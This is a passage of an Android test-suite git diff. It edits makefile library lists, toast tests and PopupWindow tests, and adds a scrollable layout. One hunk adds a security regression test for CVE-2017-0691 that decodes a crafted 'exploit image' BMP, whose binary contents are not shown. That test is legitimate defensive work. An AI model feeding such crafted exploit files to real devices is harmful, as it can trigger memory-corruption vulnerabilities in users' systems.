-		libaudioutils \
-		libnbaio \
-		libpcre \
-		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+                      libnativehelper \
+                      libcutils \
+                      libcrypto \
+                      libselinux \
+                      libc++ \
+                      libpcre \
+                      libpackagelistparser
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)\
                    src/android/security/cts/activity/ISecureRandomService.aidl\
diff --git a/tests/tests/security/jni/Android.mk b/tests/tests/security/jni/Android.mk
index d39ac7e..cbfbe3a 100644
--- a/tests/tests/security/jni/Android.mk
+++ b/tests/tests/security/jni/Android.mk
@@ -31,37 +31,16 @@
 		android_security_cts_MMapExecutableTest.cpp \
 		android_security_cts_EncryptionTest.cpp \
 
-LOCAL_C_INCLUDES := $(JNI_H_INCLUDE) \
-										$(TOP)/frameworks/native/include/media/openmax
-
-LOCAL_SHARED_LIBRARIES := libnativehelper \
+LOCAL_SHARED_LIBRARIES := \
+		libnativehelper \
 		liblog \
-		libutils \
-		libmedia \
-		libselinux \
-		libdl \
 		libcutils \
 		libcrypto \
+		libselinux \
 		libc++ \
-		libbacktrace \
-		libui \
-		libsonivox \
-		libexpat \
-		libcamera_client \
-		libgui \
-		libaudioutils \
-		libnbaio \
 		libpcre \
 		libpackagelistparser \
-		libpowermanager \
-		libbase \
-		libunwind \
-		libhardware \
-		libsync \
-		libcamera_metadata \
-		libspeexresampler \
-		liblzma \
-		libstagefright_foundation
+
 
 LOCAL_C_INCLUDES += ndk/sources/cpufeatures
 LOCAL_STATIC_LIBRARIES := cpufeatures
diff --git a/tests/tests/security/res/raw/cve_2017_0691.bmp b/tests/tests/security/res/raw/cve_2017_0691.bmp
new file mode 100644
index 0000000..d3f7c6d
--- /dev/null
+++ b/tests/tests/security/res/raw/cve_2017_0691.bmp
Binary files differ
diff --git a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
index ce236be..8c5050c 100644
--- a/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
+++ b/tests/tests/security/src/android/security/cts/BitmapFactoryDecodeStreamTest.java
@@ -40,6 +40,13 @@
 
     }
 
+    @SecurityTest
+    public void testPocCVE_2017_0691() throws Exception {
+        InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
+                R.raw.cve_2017_0691));
+        BitmapFactory.decodeStream(exploitImage);
+    }
+
     public void test_b65290323() throws Exception {
         InputStream exploitImage = new BufferedInputStream(mContext.getResources().openRawResource(
                 R.raw.b65290323));
diff --git a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
index 207e6ea..c2ecb3a 100644
--- a/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
+++ b/tests/tests/toastlegacy/src/android/widget/toast/cts/legacy/ToastTest.java
@@ -108,7 +108,10 @@
     }
 
     @Test
-    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+    public void testAddTwoToastsViaAddingWindowApisWhenUidNotFocusedQuickly() throws Exception {
+        // Finish the activity so the UID loses focus
+        finishActivity(false);
+
         try {
             showToastsViaAddingWindow(2, false);
             Assert.fail("Only one custom toast window at a time should be allowed");
@@ -120,6 +123,14 @@
     }
 
     @Test
+    public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedQuickly() throws Exception {
+        showToastsViaAddingWindow(2, false);
+
+        // Wait for the toast to timeout
+        waitForToastTimeout();
+    }
+
+    @Test
     public void testAddTwoToastsViaAddingWindowApisWhenUidFocusedSlowly() throws Exception {
         // Add one window
         showToastsViaAddingWindow(1, true);
diff --git a/tests/tests/widget/res/layout/popup_window_scrollable.xml b/tests/tests/widget/res/layout/popup_window_scrollable.xml
new file mode 100644
index 0000000..aa1edd6
--- /dev/null
+++ b/tests/tests/widget/res/layout/popup_window_scrollable.xml
@@ -0,0 +1,101 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<ScrollView
+    xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+
+    <RelativeLayout
+        android:id="@+id/main_container"
+        android:layout_width="10000dp"
+        android:layout_height="10000dp">
+
+        <View
+            android:id="@+id/anchor_upper_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_upper_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentTop="true"
+            android:background="#f00" />
+
+        <View
+            android:id="@+id/anchor_middle_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_middle_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_centerVertical="true"
+            android:background="#0f0" />
+
+        <View
+            android:id="@+id/anchor_lower_left"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentLeft="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_centerHorizontal="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+        <View
+            android:id="@+id/anchor_lower_right"
+            android:layout_width="10dp"
+            android:layout_height="10dp"
+            android:layout_alignParentRight="true"
+            android:layout_alignParentBottom="true"
+            android:background="#00f" />
+
+    </RelativeLayout>
+
+</ScrollView>
\ No newline at end of file
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index 47efffc..918a161 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -16,6 +16,14 @@
 
 package android.widget.cts;
 
+import static org.mockito.Matchers.anyInt;
+import static org.mockito.Mockito.any;
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
 import android.app.Activity;
 import android.app.Instrumentation;
 import android.content.Context;
@@ -44,13 +52,6 @@
 import android.widget.TextView;
 import android.widget.cts.R;
 
-import static org.mockito.Mockito.any;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.never;
-import static org.mockito.Mockito.times;
-import static org.mockito.Mockito.verify;
-import static org.mockito.Mockito.when;
-
 public class PopupWindowTest extends
         ActivityInstrumentationTestCase2<PopupWindowCtsActivity> {
     private Instrumentation mInstrumentation;
@@ -772,7 +773,19 @@
                 WindowManager.LayoutParams.FLAG_ALT_FOCUSABLE_IM & p.flags);
     }
 
-    public void testEnterExitTransition() {
+    public void testEnterExitTransitionAsDropDown() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+    }
+
+    public void testEnterExitTransitionAtLocation() throws Throwable {
+        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
+        verifyEnterExitTransition(
+                () -> mPopupWindow.showAtLocation(anchorView, Gravity.BOTTOM, 0, 0));
+    }
+
+    private void verifyEnterExitTransition(Runnable showRunnable) throws Throwable {
         TransitionListener enterListener = mock(TransitionListener.class);
         Transition enterTransition = new BaseTransition();
         enterTransition.addListener(enterListener);
@@ -791,8 +804,7 @@
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
         verify(dismissListener, never()).onDismiss();
 
-        final View anchorView = mActivity.findViewById(R.id.anchor_upper);
-        mInstrumentation.runOnMainSync(() -> mPopupWindow.showAsDropDown(anchorView, 0, 0));
+        mInstrumentation.runOnMainSync(showRunnable);
         mInstrumentation.waitForIdleSync();
         verify(enterListener, times(1)).onTransitionStart(any(Transition.class));
         verify(exitListener, never()).onTransitionStart(any(Transition.class));
@@ -1069,6 +1081,30 @@
         assertEquals(LayoutParams.MATCH_PARENT, p.height);
     }
 
+    public void testPositionAfterParentScroll() {
+        View.OnScrollChangeListener scrollChangeListener = mock(
+                View.OnScrollChangeListener.class);
+
+        getInstrumentation().runOnMainSync(() -> {
+            mActivity.setContentView(R.layout.popup_window_scrollable);
+
+            View anchor = mActivity.findViewById(R.id.anchor_upper);
+            PopupWindow window = createPopupWindow();
+            window.showAsDropDown(anchor);
+        });
+
+        getInstrumentation().runOnMainSync(() -> {
+            View parent = mActivity.findViewById(R.id.main_container);
+            parent.scrollBy(0, 500);
+            parent.setOnScrollChangeListener(scrollChangeListener);
+        });
+
+        getInstrumentation().waitForIdleSync();
+
+        verify(scrollChangeListener, never()).onScrollChange(
+                any(View.class), anyInt(), anyInt(), anyInt(), anyInt());
+    }
+
     private static class BaseTransition extends Transition {
         @Override
         public void captureStartValues(TransitionValues transitionValues) {}